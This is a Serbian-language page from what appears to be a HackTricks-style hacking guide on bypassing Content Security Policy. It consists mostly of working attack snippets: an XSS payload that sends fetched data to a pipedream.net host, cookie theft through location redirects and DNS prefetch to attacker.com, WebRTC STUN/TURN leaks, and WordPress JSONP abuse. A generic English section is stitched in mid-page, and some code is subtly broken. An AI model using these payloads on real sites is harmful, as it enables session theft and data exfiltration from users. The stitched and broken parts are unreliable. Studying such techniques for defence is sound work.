Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti o hakovanju u realnom vremenu
Budite u toku sa brzim svetom hakovanja putem vesti i uvida u realnom vremenu

Najnovije najave
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platforme

Pridružite nam se na Discord i počnite da sarađujete sa vrhunskim hakerima danas!

Nesigurne tehnologije za zaobilaženje CSP

Preopterećenje bafera odgovora PHP-om

PHP je poznat po preopterećenju odgovora do 4096 bajtova po podrazumevanim podešavanjima. Stoga, ako PHP prikazuje upozorenje, pružanjem dovoljno podataka unutar upozorenja, odgovor će biti poslat pre CSP zaglavlja, uzrokujući da se zaglavlje ignoriše.
Zatim, tehnika se uglavnom sastoji u popunjavanju bafera odgovora upozorenjima kako bi CSP zaglavlje nije poslato.

Ideja sa ovog writeupa.

Prepravljanje stranice sa greškom

Iz ovog writeupa izgleda da je bilo moguće zaobići CSP zaštitu učitavanjem stranice sa greškom (potencijalno bez CSP) i prepravljanjem njenog sadržaja.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

NEKI + 'self' + wordpress

NEKI je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) na kraju stranice da bi zloupotrebila druge krajnje tačke istog porekla. Ovo se postiže učitavanjem ranjive krajnje tačke sa stranice napadača, a zatim osvežavanjem stranice napadača do prave krajnje tačke u istom poreklu koju želite zloupotrebiti. Na ovaj način ranjiva krajnja tačka može koristiti opener objekat u payload-u da bi pristupila DOM-u prave krajnje tačke koju želite zloupotrebiti. Za više informacija pogledajte:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

Osim toga, wordpress ima JSONP krajnju tačku u /wp-json/wp/v2/users/1?_jsonp=data koja će reflektovati podatke poslate u izlazu (sa ograničenjem samo slova, brojeva i tačaka).

Napadač može zloupotrebiti tu krajnju tačku da bi izveo NEKI napad na WordPress i ugradio ga unutar <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> obratite pažnju da će se ovaj skript učitati jer je dozvoljen od strane 'self'. Osim toga, i zbog toga što je WordPress instaliran, napadač može zloupotrebiti NEKI napad putem ranjive callback krajnje tačke koja zaobilazi CSP da bi dao više privilegija korisniku, instalirao novi dodatak...
Za više informacija o tome kako izvesti ovaj napad pogledajte https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Bypass-ovi CSP eksfiltracije

Ako postoji strogi CSP koji vam ne dozvoljava da interaktujete sa spoljnim serverima, postoje neke stvari koje uvek možete uraditi da eksfiltrirate informacije.

Lokacija

Možete jednostavno ažurirati lokaciju da pošaljete tajne informacije napadačkom serveru:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

Možete preusmeriti ubacivanjem meta oznake (ovo je samo preusmeravanje, neće procuriti sadržaj)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Da biste učitali stranice brže, pretraživači će unapred rešavati imena hostova u IP adrese i keširati ih za kasniju upotrebu.
Možete navesti pretraživač da unapred rešava ime hosta sa: <link reol="dns-prefetch" href="something.com">

Možete zloupotrebiti ovu funkciju da eksfiltrirate osetljive informacije putem DNS zahteva:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Bypassing Content Security Policy (CSP)


Introduction

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, there are ways to bypass CSP protections and execute malicious code on a target website.

Bypassing CSP using unsafe-inline

One common way to bypass CSP is by using the unsafe-inline keyword in the CSP header. This allows the execution of inline scripts and styles, which are normally blocked by CSP. Attackers can exploit this to inject and execute malicious code on the target website.

Bypassing CSP using unsafe-eval

Another method to bypass CSP is by using the unsafe-eval keyword in the CSP header. This allows the execution of dynamically generated code, such as eval() functions, which are restricted by CSP. Attackers can abuse this to run arbitrary code on the target website.

Bypassing CSP using data: URI

Attackers can also bypass CSP by using data: Uniform Resource Identifiers (URIs). By encoding malicious scripts within a data URI, attackers can evade CSP restrictions and execute the code on the target website.

Conclusion

Content Security Policy (CSP) is a valuable security mechanism, but it is not foolproof. It is important for website owners to understand the limitations of CSP and implement additional security measures to protect against bypass techniques. Regular security assessments and penetration testing can help identify and mitigate CSP bypass vulnerabilities.

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Da biste sprečili da se ovo desi, server može poslati HTTP zaglavlje:

X-DNS-Prefetch-Control: off

{% hint style="info" %} Očigledno, ova tehnika ne funkcioniše u headless pregledačima (botovima) {% endhint %}

WebRTC

Na nekoliko stranica možete pročitati da WebRTC ne proverava connect-src politiku CSP-a.

Zapravo, možete procuriti informacije koristeći DNS zahtev. Pogledajte ovaj kod:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Druga opcija:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Provera CSP politika online

Automatsko kreiranje CSP

https://csper.io/docs/generating-content-security-policy

Reference

Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

Hakerski uvidi
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti o hakovanju u realnom vremenu
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

Najnovije objave
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platforme

Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!

Naučite hakovanje AWS-a od početnika do stručnjaka sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: